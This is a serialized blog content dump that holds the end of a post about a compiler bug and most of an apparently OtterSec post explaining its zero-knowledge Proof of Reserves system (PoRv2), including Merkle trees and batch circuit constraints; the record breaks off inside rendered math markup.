“wrong.”",{"type":23,"tag":24,"props":92493,"children":92494},{},[92495],{"type":28,"value":92496},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":23,"tag":24,"props":92498,"children":92499},{},[92500],{"type":28,"value":92501},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":23,"tag":2957,"props":92503,"children":92504},{},[92505],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":92507},[92508,92509,92514,92517,92518,92519,92520,92521],{"id":90191,"depth":226,"text":90194},{"id":90280,"depth":226,"text":90283,"children":92510},[92511,92512,92513],{"id":90286,"depth":524,"text":90289},{"id":90354,"depth":524,"text":90357},{"id":90445,"depth":524,"text":90448},{"id":91029,"depth":226,"text":91032,"children":92515},[92516],{"id":91035,"depth":524,"text":91038},{"id":91146,"depth":226,"text":91149},{"id":91993,"depth":226,"text":91996},{"id":92394,"depth":226,"text":92397},{"id":92446,"depth":226,"text":92449},{"id":28989,"depth":226,"text":19000},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":92526,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":92527,"description":92528,"date":92529,"author":31256,"image":92530,"isFeatured":18,"onBlogPage":18,"tags":92532,"body":92535,"_type":2967,"_id":97311,"_source":2969,"_file":97312,"_stem":97313,"_extension":2972},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":92531,"width":13703,"height":13703},"/posts/por/title.png",[92533,92534],"zk","por",{"type":20,"children":92536,"toc":97288},[92537,92543,92555,92567,92572,92604,92618,92624,92636,92641,92646,92683,92688,92694,92699,92706,92711,92737,92742,92748,92768,92782,92790,92795,92800,92808,92821,92827,92909,92915,92920,92933,92938,92945,92969,92977,92982,92988,92993,93441,93454,93460,93465,93473,93491,93499,93512,93520,95181,95186,95193,95199,95204,95211,95227,95234,95242,95249,96760,96765,96772,96778,96783,96810,96815,96834,96840,96848,96866,96915,96923,96942,96964,96970,96983,96988,96995,97000,97063,97068,97075,97095,97101,97106,97112,97117,97161,97166,97174,97180,97185,97227,97232,97240,97245,97253,97257,97262,97275],{"type":23,"tag":47,"props":92538,"children":92540},{"id":92539},"what-is-a-proof-of-reserves",[92541],{"type":28,"value":92542},"What is a Proof of Reserves?",{"type":23,"tag":24,"props":92544,"children":92545},{},[92546,92548,92553],{"type":28,"value":92547},"At its heart, ",{"type":23,"tag":95,"props":92549,"children":92550},{},[92551],{"type":28,"value":92552},"Proof of Reserves (PoR)",{"type":28,"value":92554}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":23,"tag":24,"props":92556,"children":92557},{},[92558,92560,92565],{"type":28,"value":92559},"Think of it this way: ",{"type":23,"tag":95,"props":92561,"children":92562},{},[92563],{"type":28,"value":92564},"PoR",{"type":28,"value":92566}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":23,"tag":24,"props":92568,"children":92569},{},[92570],{"type":28,"value":92571},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":23,"tag":24,"props":92573,"children":92574},{},[92575,92577,92584,92586,92593,92595,92602],{"type":28,"value":92576},"We from OtterSec, in partnership with ",{"type":23,"tag":36,"props":92578,"children":92581},{"href":92579,"rel":92580},"https://backpack.exchange/",[40],[92582],{"type":28,"value":92583},"Backpack",{"type":28,"value":92585},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":23,"tag":36,"props":92587,"children":92590},{"href":92588,"rel":92589},"https://github.com/otter-sec/por_v2",[40],[92591],{"type":28,"value":92592},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":28,"value":92594}," was based on ",{"type":23,"tag":36,"props":92596,"children":92599},{"href":92597,"rel":92598},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[40],[92600],{"type":28,"value":92601},"OKX Proof of Reserves algorithm",{"type":28,"value":92603}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":23,"tag":24,"props":92605,"children":92606},{},[92607,92609,92616],{"type":28,"value":92608},"In addition, we also created and open-sourced a ",{"type":23,"tag":36,"props":92610,"children":92613},{"href":92611,"rel":92612},"https://github.com/otter-sec/por_verifier_server",[40],[92614],{"type":28,"value":92615},"PoR verifier server",{"type":28,"value":92617}," that receives the proofs and validates them.",{"type":23,"tag":47,"props":92619,"children":92621},{"id":92620},"why-do-we-use-zk-for-por",[92622],{"type":28,"value":92623},"Why do we use ZK for PoR?",{"type":23,"tag":24,"props":92625,"children":92626},{},[92627,92629,92634],{"type":28,"value":92628},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":23,"tag":95,"props":92630,"children":92631},{},[92632],{"type":28,"value":92633},"Zero-Knowledge Proofs (ZKPs)",{"type":28,"value":92635}," become game-changers.",{"type":23,"tag":24,"props":92637,"children":92638},{},[92639],{"type":28,"value":92640},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":23,"tag":24,"props":92642,"children":92643},{},[92644],{"type":28,"value":92645},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":23,"tag":131,"props":92647,"children":92648},{},[92649,92666],{"type":23,"tag":135,"props":92650,"children":92651},{},[92652,92657,92659,92665],{"type":23,"tag":95,"props":92653,"children":92654},{},[92655],{"type":28,"value":92656},"Sum proof",{"type":28,"value":92658},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":23,"tag":209,"props":92660,"children":92662},{"className":92661},[],[92663],{"type":28,"value":92664},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":28,"value":20796},{"type":23,"tag":135,"props":92667,"children":92668},{},[92669,92674,92676,92681],{"type":23,"tag":95,"props":92670,"children":92671},{},[92672],{"type":28,"value":92673},"Non-negativity",{"type":28,"value":92675},": All users have a ",{"type":23,"tag":95,"props":92677,"children":92678},{},[92679],{"type":28,"value":92680},"positive",{"type":28,"value":92682}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":23,"tag":24,"props":92684,"children":92685},{},[92686],{"type":28,"value":92687},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":23,"tag":47,"props":92689,"children":92691},{"id":92690},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[92692],{"type":28,"value":92693},"What is a Merkle Tree and how does it help in a PoR?",{"type":23,"tag":24,"props":92695,"children":92696},{},[92697],{"type":28,"value":92698},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":23,"tag":24,"props":92700,"children":92701},{},[92702],{"type":23,"tag":4009,"props":92703,"children":92705},{"alt":50631,"src":92704},"/posts/por/merkle-tree.png",[],{"type":23,"tag":24,"props":92707,"children":92708},{},[92709],{"type":28,"value":92710},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":23,"tag":131,"props":92712,"children":92713},{},[92714,92727,92732],{"type":23,"tag":135,"props":92715,"children":92716},{},[92717,92719,92725],{"type":28,"value":92718},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":23,"tag":209,"props":92720,"children":92722},{"className":92721},[],[92723],{"type":28,"value":92724},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":28,"value":92726},");",{"type":23,"tag":135,"props":92728,"children":92729},{},[92730],{"type":28,"value":92731},"The Merkle tree is made public;",{"type":23,"tag":135,"props":92733,"children":92734},{},[92735],{"type":28,"value":92736},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":23,"tag":24,"props":92738,"children":92739},{},[92740],{"type":28,"value":92741},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":23,"tag":47,"props":92743,"children":92745},{"id":92744},"ottersec-porv2",[92746],{"type":28,"value":92747},"OtterSec PoRv2",{"type":23,"tag":24,"props":92749,"children":92750},{},[92751,92757,92759,92766],{"type":23,"tag":36,"props":92752,"children":92754},{"href":92588,"rel":92753},[40],[92755],{"type":28,"value":92756},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":28,"value":92758},", which uses the ",{"type":23,"tag":36,"props":92760,"children":92763},{"href":92761,"rel":92762},"https://github.com/0xPolygonZero/plonky2",[40],[92764],{"type":28,"value":92765},"plonky2 ZK algorithm",{"type":28,"value":92767}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":23,"tag":24,"props":92769,"children":92770},{},[92771,92773,92780],{"type":28,"value":92772},"We named it PoRv2 because we already had a version based on ",{"type":23,"tag":36,"props":92774,"children":92777},{"href":92775,"rel":92776},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[40],[92778],{"type":28,"value":92779},"Vitalik's proof of solvency",{"type":28,"value":92781},", which was not optimal.",{"type":23,"tag":24,"props":92783,"children":92784},{},[92785],{"type":23,"tag":95,"props":92786,"children":92787},{},[92788],{"type":28,"value":92789},"Non-negativity Proof",{"type":23,"tag":24,"props":92791,"children":92792},{},[92793],{"type":28,"value":92794},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":23,"tag":24,"props":92796,"children":92797},{},[92798],{"type":28,"value":92799},"We also check for overflows during summation to prevent tampering in the final result.",{"type":23,"tag":24,"props":92801,"children":92802},{},[92803],{"type":23,"tag":95,"props":92804,"children":92805},{},[92806],{"type":28,"value":92807},"Sum Proof",{"type":23,"tag":24,"props":92809,"children":92810},{},[92811,92813,92819],{"type":28,"value":92812},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":23,"tag":209,"props":92814,"children":92816},{"className":92815},[],[92817],{"type":28,"value":92818},"BTC final: user1_btc + user2_btc ...",{"type":28,"value":92820},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":23,"tag":9693,"props":92822,"children":92824},{"id":92823},"what-are-the-ottersec-porv2-key-points",[92825],{"type":28,"value":92826},"What are the OtterSec PoRv2 key points?",{"type":23,"tag":131,"props":92828,"children":92829},{},[92830,92840,92858,92868,92899],{"type":23,"tag":135,"props":92831,"children":92832},{},[92833,92838],{"type":23,"tag":95,"props":92834,"children":92835},{},[92836],{"type":28,"value":92837},"Transparency",{"type":28,"value":92839},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":23,"tag":135,"props":92841,"children":92842},{},[92843,92848,92850,92857],{"type":23,"tag":95,"props":92844,"children":92845},{},[92846],{"type":28,"value":92847},"Time-efficiency",{"type":28,"value":92849},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":23,"tag":36,"props":92851,"children":92854},{"href":92852,"rel":92853},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[40],[92855],{"type":28,"value":92856},"Check our benchmark",{"type":28,"value":124},{"type":23,"tag":135,"props":92859,"children":92860},{},[92861,92866],{"type":23,"tag":95,"props":92862,"children":92863},{},[92864],{"type":28,"value":92865},"Memory-efficiency",{"type":28,"value":92867},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":23,"tag":135,"props":92869,"children":92870},{},[92871,92876,92878,92883,92885,92890,92892,92897],{"type":23,"tag":95,"props":92872,"children":92873},{},[92874],{"type":28,"value":92875},"Small-proofs",{"type":28,"value":92877},": We were able to reduce the final proof to less than ",{"type":23,"tag":95,"props":92879,"children":92880},{},[92881],{"type":28,"value":92882},"500KB",{"type":28,"value":92884}," and each inclusion proof to ",{"type":23,"tag":95,"props":92886,"children":92887},{},[92888],{"type":28,"value":92889},"~52KB",{"type":28,"value":92891},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":23,"tag":95,"props":92893,"children":92894},{},[92895],{"type":28,"value":92896},"200MB",{"type":28,"value":92898}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":23,"tag":135,"props":92900,"children":92901},{},[92902,92907],{"type":23,"tag":95,"props":92903,"children":92904},{},[92905],{"type":28,"value":92906},"Privacy",{"type":28,"value":92908},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":23,"tag":47,"props":92910,"children":92912},{"id":92911},"zk-circuits",[92913],{"type":28,"value":92914},"ZK Circuits",{"type":23,"tag":24,"props":92916,"children":92917},{},[92918],{"type":28,"value":92919},"We use two different ZK circuits to generate the final proof:",{"type":23,"tag":131,"props":92921,"children":92922},{},[92923,92928],{"type":23,"tag":135,"props":92924,"children":92925},{},[92926],{"type":28,"value":92927},"Batch circuit",{"type":23,"tag":135,"props":92929,"children":92930},{},[92931],{"type":28,"value":92932},"Recursive circuit",{"type":23,"tag":24,"props":92934,"children":92935},{},[92936],{"type":28,"value":92937},"With those two circuits, we can generate the proofs recursive tree:",{"type":23,"tag":24,"props":92939,"children":92940},{},[92941],{"type":23,"tag":4009,"props":92942,"children":92944},{"alt":50631,"src":92943},"/posts/por/batch-circuit.png",[],{"type":23,"tag":3036,"props":92946,"children":92947},{},[92948],{"type":23,"tag":24,"props":92949,"children":92950},{},[92951,92953,92959,92961,92967],{"type":28,"value":92952},"Note: We are using 512 as ",{"type":23,"tag":209,"props":92954,"children":92956},{"className":92955},[],[92957],{"type":28,"value":92958},"BATCH_SIZE",{"type":28,"value":92960}," and 8 as ",{"type":23,"tag":209,"props":92962,"children":92964},{"className":92963},[],[92965],{"type":28,"value":92966},"RECURSIVE_SIZE",{"type":28,"value":92968}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":23,"tag":3036,"props":92970,"children":92971},{},[92972],{"type":23,"tag":24,"props":92973,"children":92974},{},[92975],{"type":28,"value":92976},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":23,"tag":24,"props":92978,"children":92979},{},[92980],{"type":28,"value":92981},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":23,"tag":9693,"props":92983,"children":92985},{"id":92984},"leaf-nodes",[92986],{"type":28,"value":92987},"Leaf Nodes",{"type":23,"tag":24,"props":92989,"children":92990},{},[92991],{"type":28,"value":92992},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":23,"tag":24,"props":92994,"children":92995},{},[92996],{"type":23,"tag":209,"props":92997,"children":92999},{"className":92998},[4076,4077],[93000],{"type":23,"tag":213,"props":93001,"children":93003},{"className":93002},[4082],[93004],{"type":23,"tag":213,"props":93005,"children":93007},{"className":93006,"ariaHidden":1710},[4087],[93008,93035],{"type":23,"tag":213,"props":93009,"children":93011},{"className":93010},[4092],[93012,93017,93022,93026,93031],{"type":23,"tag":213,"props":93013,"children":93016},{"className":93014,"style":93015},[4097],"height:0.6944em;",[],{"type":23,"tag":213,"props":93018,"children":93020},{"className":93019},[4103,21637],[93021],{"type":28,"value":84398},{"type":23,"tag":213,"props":93023,"children":93025},{"className":93024,"style":4282},[4184],[],{"type":23,"tag":213,"props":93027,"children":93029},{"className":93028},[4287],[93030],{"type":28,"value":3190},{"type":23,"tag":213,"props":93032,"children":93034},{"className":93033,"style":4282},[4184],[],{"type":23,"tag":213,"props":93036,"children":93038},{"className":93037},[4092],[93039,93044,93049,93055,93060,93065,93071,93076,93081,93086,93092,93097,93103,93109,93116,93122,93128,93188,93193,93199,93204,93209,93214,93219,93224,93229,93234,93239,93244,93301,93306,93311,93316,93321,93326,93331,93338,93343,93349,93354,93360,93366,93371,93376,93381,93386,93391,93396,93401,93406,93411,93416,93421,93426,93431,93436],{"type":23,"tag":213,"props":93040,"children":93043},{"className":93041,"style":93042},[4097],"height:1.06em;vertical-align:-0.31em;",[],{"type":23,"tag":213,"props":93045,"children":93047},{"className":93046,"style":21638},[4103,21637],[93048],{"type":28,"value":21641},{"type":23,"tag":213,"props":93050,"children":93052},{"className":93051},[4103,21637],[93053],{"type":28,"value":93054},"ose",{"type":23,"tag":213,"props":93056,"children":93058},{"className":93057},[4103,21637],[93059],{"type":28,"value":3826},{"type":23,"tag":213,"props":93061,"children":93063},{"className":93062},[4103,21637],[93064],{"type":28,"value":70617},{"type":23,"tag":213,"props":93066,"children":93068},{"className":93067},[4103,21637],[93069],{"type":28,"value":93070},"o",{"type":23,"tag":213,"props":93072,"children":93074},{"className":93073},[4103,21637],[93075],{"type":28,"value":56456},{"type":23,"tag":213,"props":93077,"children":93079},{"className":93078},[21766],[93080],{"type":28,"value":265},{"type":23,"tag":213,"props":93082,"children":93084},{"className":93083},[4103,21637],[93085],{"type":28,"value":36},{"type":23,"tag":213,"props":93087,"children":93089},{"className":93088},[4103,21637],[93090],{"type":28,"value":93091},"sse",{"type":23,"tag":213,"props":93093,"children":93095},{"className":93094},[4103,21637],[93096],{"type":28,"value":21779},{"type":23,"tag":213,"props":93098,"children":93101},{"className":93099,"style":93100},[4103],"margin-right:0.02778em;",[93102],{"type":28,"value":3181},{"type":23,"tag":213,"props":93104,"children":93106},{"className":93105},[4103,21637],[93107],{"type":28,"value":93108},"ba",{"type":23,"tag":213,"props":93110,"children":93113},{"className":93111,"style":93112},[4103,21637],"margin-right:0.01968em;",[93114],{"type":28,"value":93115},"l",{"type":23,"tag":213,"props":93117,"children":93119},{"className":93118},[4103,21637],[93120],{"type":28,"value":93121},"an",{"type":23,"tag":213,"props":93123,"children":93125},{"className":93124},[4103,21637],[93126],{"type":28,"value":93127},"ce",{"type":23,"tag":213,"props":93129,"children":93131},{"className":93130},[4103],[93132,93137],{"type":23,"tag":213,"props":93133,"children":93135},{"className":93134},[4103,21637],[93136],{"type":28,"value":10735},{"type":23,"tag":213,"props":93138,"children":93140},{"className":93139},[4120],[93141],{"type":23,"tag":213,"props":93142,"children":93144},{"className":93143},[4125,21691],[93145,93176],{"type":23,"tag":213,"props":93146,"children":93148},{"className":93147},[4130],[93149,93171],{"type":23,"tag":213,"props":93150,"children":93153},{"className":93151,"style":93152},[4135],"height:0.3011em;",[93154],{"type":23,"tag":213,"props":93155,"children":93157},{"style":93156},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[93158,93162],{"type":23,"tag":213,"props":93159,"children":93161},{"className":93160,"style":4145},[4144],[],{"type":23,"tag":213,"props":93163,"children":93165},{"className":93164},[4150,4151,4152,4153],[93166],{"type":23,"tag":213,"props":93167,"children":93169},{"className":93168},[4103,4153],[93170],{"type":28,"value":4116},{"type":23,"tag":213,"props":93172,"children":93174},{"className":93173},[21794],[93175],{"type":28,"value":21797},{"type":23,"tag":213,"props":93177,"children":93179},{"className":93178},[4130],[93180],{"type":23,"tag":213,"props":93181,"children":93184},{"className":93182,"style":93183},[4135],"height:0.15em;",[93185],{"type":23,"tag":213,"props":93186,"children":93187},{},[],{"type":23,"tag":213,"props":93189,"children":93191},{"className":93190},[4184],[93192],{"type":28,"value":21738},{"type":23,"tag":213,"props":93194,"children":93196},{"className":93195},[4103],[93197],{"type":28,"value":93198},"∣∣",{"type":23,"tag":213,"props":93200,"children":93202},{"className":93201},[4184],[93203],{"type":28,"value":21738},{"type":23,"tag":213,"props":93205,"children":93207},{"className":93206},[4103,21637],[93208],{"type":28,"value":36},{"type":23,"tag":213,"props":93210,"children":93212},{"className":93211},[4103,21637],[93213],{"type":28,"value":93091},{"type":23,"tag":213,"props":93215,"children":93217},{"className":93216},[4103,21637],[93218],{"type":28,"value":21779},{"type":23,"tag":213,"props":93220,"children":93222},{"className":93221,"style":93100},[4103],[93223],{"type":28,"value":3181},{"type":23,"tag":213,"props":93225,"children":93227},{"className":93226},[4103,21637],[93228],{"type":28,"value":93108},{"type":23,"tag":213,"props":93230,"children":93232},{"className":93231,"style":93112},[4103,21637],[93233],{"type":28,"value":93115},{"type":23,"tag":213,"props":93235,"children":93237},{"className":93236},[4103,21637],[93238],{"type":28,"value":93121},{"type":23,"tag":213,"props":93240,"children":93242},{"className":93241},[4103,21637],[93243],{"type":28,"value":93127},{"type":23,"tag":213,"props":93245,"children":93247},{"className":93246},[4103],[93248,93253],{"type":23,"tag":213,"props":93249,"children":93251},{"className":93250},[4103,21637],[93252],{"type":28,"value":10735},{"type":23,"tag":213,"props":93254,"children":93256},{"className":93255},[4120],[93257],{"type":23,"tag":213,"props":93258,"children":93260},{"className":93259},[4125,21691],[93261,93290],{"type":23,"tag":213,"props":93262,"children":93264},{"className":93263},[4130],[93265,93285],{"type":23,"tag":213,"props":93266,"children":93268},{"className":93267,"style":93152},[4135],[93269],{"type":23,"tag":213,"props":93270,"children":93271},{"style":93156},[93272,93276],{"type":23,"tag":213,"props":93273,"children":93275},{"className":93274,"style":4145},[4144],[],{"type":23,"tag":213,"props":93277,"children":93279},{"className":93278},[4150,4151,4152,4153],[93280],{"type":23,"tag":213,"props":93281,"children":93283},{"className":93282},[4103,4153],[93284],{"type":28,"value":4106},{"type":23,"tag":213,"props":93286,"children":93288},{"className":93287},[21794],[93289],{"type":28,"value":21797},{"type":23,"tag":213,"props":93291,"children":93293},{"className":93292},[4130],[93294],{"type":23,"tag":213,"props":93295,"children":93297},{"className":93296,"style":93183},[4135],[93298],{"type":23,"tag":213,"props":93299,"children":93300},{},[],{"type":23,"tag":213,"props":93302,"children":93304},{"className":93303},[4184],[93305],{"type":28,"value":21738},{"type":23,"tag":213,"props":93307,"children":93309},{"className":93308},[4103],[93310],{"type":28,"value":9675},{"type":23,"tag":213,"props":93312,"children":93314},{"className":93313},[4184],[93315],{"type":28,"value":21738},{"type":23,"tag":213,"props":93317,"children":93319},{"className":93318},[4103],[93320],{"type":28,"value":93198},{"type":23,"tag":213,"props":93322,"children":93324},{"className":93323},[4184],[93325],{"type":28,"value":21738},{"type":23,"tag":213,"props":93327,"children":93329},{"className":93328,"style":22096},[4103,21637],[93330],{"type":28,"value":22099},{"type":23,"tag":213,"props":93332,"children":93335},{"className":93333,"style":93334},[4103,21637],"margin-right:0.08125em;",[93336],{"type":28,"value":93337},"H",{"type":23,"tag":213,"props":93339,"children":93341},{"className":93340},[4103,21637],[93342],{"type":28,"value":76820},{"type":23,"tag":213,"props":93344,"children":93346},{"className":93345},[4103],[93347],{"type":28,"value":93348},"256",{"type":23,"tag":213,"props":93350,"children":93352},{"className":93351},[21766],[93353],{"type":28,"value":265},{"type":23,"tag":213,"props":93355,"children":93357},{"className":93356},[4103,21637],[93358],{"type":28,"value":93359},"u",{"type":23,"tag":213,"props":93361,"children":93363},{"className":93362,"style":93100},[4103,21637],[93364],{"type":28,"value":93365},"ser",{"type":23,"tag":213,"props":93367,"children":93369},{"className":93368,"style":93100},[4103],[93370],{"type":28,"value":3181},{"type":23,"tag":213,"props":93372,"children":93374},{"className":93373},[4103,21637],[93375],{"type":28,"value":3826},{"type":23,"tag":213,"props":93377,"children":93379},{"className":93378},[4103,21637],[93380],{"type":28,"value":70617},{"type":23,"tag":213,"props":93382,"children":93384},{"className":93383},[21788],[93385],{"type":28,"value":2121},{"type":23,"tag":213,"props":93387,"children":93389},{"className":93388},[4184],[93390],{"type":28,"value":21738},{"type":23,"tag":213,"props":93392,"children":93394},{"className":93393},[4103],[93395],{"type":28,"value":93198},{"type":23,"tag":213,"props":93397,"children":93399},{"className":93398},[4184],[93400],{"type":28,"value":21738},{"type":23,"tag":213,"props":93402,"children":93404},{"className":93403},[4103,21637],[93405],{"type":28,"value":93359},{"type":23,"tag":213,"props":93407,"children":93409},{"className":93408,"style":93100},[4103,21637],[93410],{"type":28,"value":93365},{"type":23,"tag":213,"props":93412,"children":93414},{"className":93413,"style":93100},[4103],[93415],{"type":28,"value":3181},{"type":23,"tag":213,"props":93417,"children":93419},{"className":93418},[4103,21637],[93420],{"type":28,"value":56456},{"type":23,"tag":213,"props":93422,"children":93424},{"className":93423},[4103,21637],[93425],{"type":28,"value":93070},{"type":23,"tag":213,"props":93427,"children":93429},{"className":93428},[4103,21637],[93430],{"type":28,"value":56456},{"type":23,"tag":213,"props":93432,"children":93434},{"className":93433},[4103,21637],[93435],{"type":28,"value":93127},{"type":23,"tag":213,"props":93437,"children":93439},{"className":93438},[21788],[93440],{"type":28,"value":2121},{"type":23,"tag":24,"props":93442,"children":93443},{},[93444,93446,93452],{"type":28,"value":93445},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":23,"tag":209,"props":93447,"children":93449},{"className":93448},[],[93450],{"type":28,"value":93451},"uuid",{"type":28,"value":93453},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":23,"tag":9693,"props":93455,"children":93457},{"id":93456},"batch-circuit",[93458],{"type":28,"value":93459},"Batch Circuit",{"type":23,"tag":24,"props":93461,"children":93462},{},[93463],{"type":28,"value":93464},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":23,"tag":24,"props":93466,"children":93467},{},[93468],{"type":23,"tag":95,"props":93469,"children":93470},{},[93471],{"type":28,"value":93472},"Public Inputs",{"type":23,"tag":168,"props":93474,"children":93475},{},[93476,93481,93486],{"type":23,"tag":135,"props":93477,"children":93478},{},[93479],{"type":28,"value":93480},"Asset prices in USD",{"type":23,"tag":135,"props":93482,"children":93483},{},[93484],{"type":28,"value":93485},"Merkle tree hash",{"type":23,"tag":135,"props":93487,"children":93488},{},[93489],{"type":28,"value":93490},"Summed asset balances",{"type":23,"tag":24,"props":93492,"children":93493},{},[93494],{"type":23,"tag":95,"props":93495,"children":93496},{},[93497],{"type":28,"value":93498},"Private Inputs",{"type":23,"tag":168,"props":93500,"children":93501},{},[93502,93507],{"type":23,"tag":135,"props":93503,"children":93504},{},[93505],{"type":28,"value":93506},"Users balances",{"type":23,"tag":135,"props":93508,"children":93509},{},[93510],{"type":28,"value":93511},"Merkle tree leaves hashes",{"type":23,"tag":24,"props":93513,"children":93514},{},[93515],{"type":23,"tag":95,"props":93516,"children":93517},{},[93518],{"type":28,"value":93519},"Constraints",{"type":23,"tag":168,"props":93521,"children":93522},{},[93523,93976,94144,94491,94889],{"type":23,"tag":135,"props":93524,"children":93525},{},[93526],{"type":23,"tag":209,"props":93527,"children":93529},{"className":93528},[4076,4077],[93530],{"type":23,"tag":213,"props":93531,"children":93533},{"className":93532},[4082],[93534],{"type":23,"tag":213,"props":93535,"children":93537},{"className":93536,"ariaHidden":1710},[4087],[93538,93677,93881],{"type":23,"tag":213,"props":93539,"children":93541},{"className":93540},[4092],[93542,93547,93552,93558,93563,93568,93573,93578,93583,93590,93595,93600,93605,93664,93668,93673],{"type":23,"tag":213,"props":93543,"children":93546},{"className":93544,"style":93545},[4097],"height:0.9695em;vertical-align:-0.31em;",[],{"type":23,"tag":213,"props":93548,"children":93550},{"className":93549},[4103,21637],[93551],{"type":28,"value":36},{"type":23,"tag":213,"props":93553,"children":93555},{"className":93554},[4103,21637],[93556],{"type":28,"value":93557},"cco",{"type":23,"tag":213,"props":93559,"children":93561},{"className":93560},[4103,21637],[93562],{"type":28,"value":93359},{"type":23,"tag":213,"props":93564,"children":93566},{"className":93565},[4103,21637],[93567],{"type":28,"value":56456},{"type":23,"tag":213,"props":93569,"children":93571},{"className":93570},[4103,21637],[93572],{"type":28,"value":21779},{"type":23,"tag":213,"props":93574,"children":93576},{"className":93575,"style":93100},[4103],[93577],{"type":28,"value":3181},{"type":23,"tag":213,"props":93579,"children":93581},{"className":93580},[4103,21637],[93582],{"type":28,"value":51507},{"type":23,"tag":213,"props":93584,"children":93587},{"className":93585,"style":93586},[4103,21637],"margin-right:0.03588em;",[93588],{"type":28,"value":93589},"q",{"type":23,"tag":213,"props":93591,"children":93593},{"className":93592},[4103,21637],[93594],{"type":28,"value":93359},{"type":23,"tag":213,"props":93596,"children":93598},{"className":93597},[4103,21637],[93599],{"type":28,"value":3826},{"type":23,"tag":213,"props":93601,"children":93603},{"className":93602},[4103,21637],[93604],{"type":28,"value":21779},{"type":23,"tag":213,"props":93606,"children":93608},{"className":93607},[4103],[93609,93614],{"type":23,"tag":213,"props":93610,"children":93612},{"className":93611,"style":93586},[4103,21637],[93613],{"type":28,"value":3212},{"type":23,"tag":21